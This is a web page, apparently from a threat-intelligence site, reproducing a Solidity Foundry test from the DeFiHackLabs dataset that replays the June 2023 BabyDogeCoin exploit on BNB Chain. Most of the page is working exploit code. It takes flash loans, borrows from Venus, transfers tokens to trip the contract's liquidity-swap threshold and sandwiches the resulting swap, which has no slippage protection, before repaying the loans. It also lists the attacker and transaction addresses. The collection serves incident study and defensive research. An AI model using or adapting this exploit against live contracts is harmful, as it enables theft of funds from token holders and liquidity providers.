Public reproduction file
src/test/2023-06/BabyDogeCoin02_exp.sol
Public reproduction file for dataset entry BabyDogeCoin02.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~100K USD$8// Attacker : https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d19// Attack Contract : https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e10// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de11// Attack Tx : https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de#code16// @Analysis17// Twitter Guy : https://twitter.com/hexagate_/status/167151781984074547519interface IFeeFreeRouter {20 function addLiquidity(21 address tokenA,22 address tokenB,23 uint256 amountADesired,24 uint256 amountBDesired,25 uint256 amountAMin,26 uint256 amountBMin,27 address to,28 uint256 deadline29 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);30 function removeLiquidity(31 address tokenA,32 address tokenB,33 uint256 liquidity,34 uint256 amountAMin,35 uint256 amountBMin,36 address to,37 uint256 deadline38 ) external returns (uint256 amountA, uint256 amountB);39}41interface IBabyDogeCoin is IERC20 {42 function numTokensSellToAddToLiquidity() external view returns (uint256);43}45contract ContractTest is Test {46 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);47 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);48 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));49 IBabyDogeCoin BabyDogeCoin = IBabyDogeCoin(0xc748673057861a797275CD8A068AbB95A902e8de);50 Uni_Pair_V3 pool = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);51 ICErc20Delegate vUSDT = ICErc20Delegate(0xfD5840Cd36d94D7229439859C0112a4185BC0255);52 ICErc20Delegate vBUSD = ICErc20Delegate(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);53 crETH vBNB = crETH(0xA07c5b74C9B40447a954e1466938b865b6BBea36);54 Uni_Router_V2 BabyDogeRouter = Uni_Router_V2(0xC9a0F685F39d05D835c369036251ee3aEaaF3c47);55 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);56 IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);57 IUnitroller Unitroller = IUnitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);58 ISimplePriceOracle VenusChainlinkOracle = ISimplePriceOracle(0xd8B6dA2bfEC71D684D3E2a2FC9492dDad5C3787F);59 address PancakePair = 0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0;60 address BabyDogeRouterPair = 0x0536c8b0c3685b6e3C62A7b5c4E8b83f938f12D1;61 uint256 borrowAmount;62 uint256 USDTFlashLoanAmount;63 uint256 BUSDFlashLoanAmount;65 function setUp() public {66 vm.createSelectFork("bsc", 29_295_010);67 vm.label(address(BUSD), "BUSD");68 vm.label(address(USDT), "USDT");69 vm.label(address(WBNB), "WBNB");70 vm.label(address(BabyDogeCoin), "BabyDogeCoin");71 vm.label(address(pool), "pool");72 vm.label(address(vBUSD), "vBUSD");73 vm.label(address(vUSDT), "vUSDT");74 vm.label(address(vBNB), "vBNB");75 vm.label(address(BabyDogeRouter), "BabyDogeRouter");76 vm.label(address(Router), "Router");77 vm.label(address(FeeFreeRouter), "FeeFreeRouter");78 vm.label(address(Unitroller), "Unitroller");79 vm.label(address(VenusChainlinkOracle), "VenusChainlinkOracle");80 vm.label(address(PancakePair), "PancakePair");81 vm.label(address(BabyDogeRouterPair), "BabyDogeRouterPair");82 }84 function testExploit() public {85 init();86 AddBabyDogeCoinWBNBLiquidity();87 exploit();89 emit log_named_decimal_uint(90 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()91 );92 }94 function init() internal {95 USDT.approve(address(vUSDT), type(uint256).max);96 BUSD.approve(address(vBUSD), type(uint256).max);97 address[] memory cTokens = new address[](3);98 cTokens[0] = address(vUSDT);99 cTokens[1] = address(vBUSD);100 cTokens[2] = address(vBNB);101 Unitroller.enterMarkets(cTokens);102 }104 function AddBabyDogeCoinWBNBLiquidity() public payable {105 deal(address(this), 0.01 ether);106 address[] memory path = new address[](2);107 path[0] = address(WBNB);108 path[1] = address(BabyDogeCoin);109 BabyDogeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.005 ether}(110 1, path, address(this), block.timestamp111 );112 WBNB.deposit{value: 0.005 ether}();113 WBNB.approve(address(FeeFreeRouter), WBNB.balanceOf(address(this)));114 BabyDogeCoin.approve(address(FeeFreeRouter), BabyDogeCoin.balanceOf(address(this)));115 FeeFreeRouter.addLiquidity(116 address(BabyDogeCoin),117 address(WBNB),118 BabyDogeCoin.balanceOf(address(this)) - 10_000 * 1e9,119 WBNB.balanceOf(address(this)),120 0,121 0,122 address(this),123 block.timestamp124 );125 IERC20(BabyDogeRouterPair).approve(address(FeeFreeRouter), IERC20(BabyDogeRouterPair).balanceOf(address(this)));126 }128 function exploit() internal {129 pool.flash(address(this), USDT.balanceOf(address(pool)), BUSD.balanceOf(address(pool)), new bytes(0));130 }132 function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {133 borrowBNB();135 swapWBNBToBabyDogeCoinByBabyDogeRouterPair();136 Sandwich();137 swapBabyDogeCoinToWBNBByBabyDogeRouterPair();139 repayFlashLoan(amount0, amount1);140 }142 function borrowBNB() public payable {143 USDTFlashLoanAmount = USDT.balanceOf(address(this));144 BUSDFlashLoanAmount = BUSD.balanceOf(address(this));145 vUSDT.mint(USDT.balanceOf(address(this)));146 vBUSD.mint(BUSD.balanceOf(address(this)));147 (, uint256 AccountLiquidity,) = Unitroller.getAccountLiquidity(address(this));148 uint256 UnderlyingPrice = VenusChainlinkOracle.getUnderlyingPrice(address(vBNB));149 borrowAmount = (AccountLiquidity * 1e18 / UnderlyingPrice) * 9999 / 10_000;150 vBNB.borrow(borrowAmount);151 }153 function swapWBNBToBabyDogeCoinByBabyDogeRouterPair() internal {154 address[] memory path = new address[](2);155 path[0] = address(WBNB);156 path[1] = address(BabyDogeCoin);157 uint256 swapAmount =158 BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin)) - 1e12;159 uint256[] memory amountIns = BabyDogeRouter.getAmountsIn(swapAmount, path);160 WBNB.deposit{value: address(this).balance}();161 WBNB.approve(address(BabyDogeRouter), amountIns[0]);162 BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(163 amountIns[0], 0, path, address(FeeFreeRouter), block.timestamp164 );165 FeeFreeRouter.removeLiquidity(166 address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeCoin), block.timestamp167 ); // swap some WBNB to BabyDogeCoin , transfer to BabyDogeCoin contract169 WBNB.approve(address(BabyDogeRouter), WBNB.balanceOf(address(this)));170 BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(171 WBNB.balanceOf(address(this)), 0, path, address(FeeFreeRouter), block.timestamp172 );173 FeeFreeRouter.removeLiquidity(address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, PancakePair, block.timestamp); // swap some WBNB to BabyDogeCoin , transfer to PancakePair contract174 }176 function Sandwich() internal {177 address[] memory path = new address[](2);178 path[0] = address(BabyDogeCoin);179 path[1] = address(WBNB);180 BabyDogeCoin.approve(address(Router), 1);181 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB183 uint256 transferAmount =184 BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin));185 BabyDogeCoin.transfer(address(BabyDogeCoin), transferAmount);186 BabyDogeCoin.transfer(address(this), 1); // trigger swap BabyDogeCoin to WBNB without slippage protection188 path[0] = address(WBNB);189 path[1] = address(BabyDogeCoin);190 WBNB.approve(address(Router), WBNB.balanceOf(address(this)));191 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(192 WBNB.balanceOf(address(this)), 1, path, address(FeeFreeRouter), block.timestamp193 ); // swap WBNB to BabyDogeCoin194 FeeFreeRouter.removeLiquidity(195 address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeRouterPair), block.timestamp196 );197 }199 function swapBabyDogeCoinToWBNBByBabyDogeRouterPair() internal {200 address[] memory path = new address[](2);201 path[0] = address(BabyDogeCoin);202 path[1] = address(WBNB);203 BabyDogeCoin.approve(address(BabyDogeRouter), 1);204 BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB, get profit205 }207 function repayFlashLoan(uint256 amount0, uint256 amount1) internal {208 WBNB.withdraw(borrowAmount);209 vBNB.repayBorrow{value: address(this).balance}();210 vUSDT.redeemUnderlying(USDTFlashLoanAmount);211 vBUSD.redeemUnderlying(BUSDFlashLoanAmount);212 USDT.transfer(address(pool), USDTFlashLoanAmount);213 BUSD.transfer(address(pool), BUSDFlashLoanAmount);214 WBNB.approve(address(Router), type(uint256).max);215 address[] memory path = new address[](2);216 path[0] = address(WBNB);217 path[1] = address(USDT);218 Router.swapTokensForExactTokens(amount0, type(uint256).max, path, address(pool), block.timestamp);219 path[1] = address(BUSD);220 Router.swapTokensForExactTokens(amount1, type(uint256).max, path, address(pool), block.timestamp);221 }223 receive() external payable {}224}Analysis
Dataset entry
Public Foundry test for “BabyDogeCoin02” (2023-06-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xee6764ac7aa45ed52482e4320906fd75615ba1d1
- Attack Contract
0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e
- Vulnerable Contract
0xc748673057861a797275cd8a068abb95a902e8de
- Attack Tx
0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c
- Twitter: https://twitter.com/hexagate_/status/1671517819840745475
- Explorer: https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1
- Explorer: https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e
- Explorer: https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de
- Explorer: https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de#code
File record
- Name
- BabyDogeCoin02
- Path
- src/test/2023-06/BabyDogeCoin02_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3b201b9f3132d2b331cebc5ebbf9705a094d74d3
- Language
- Solidity
- Size
- 225 lines
- Date
- 2023-06-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/BabyDogeCoin02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3b201b9f3132d2b331cebc5ebbf9705a094d74d3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.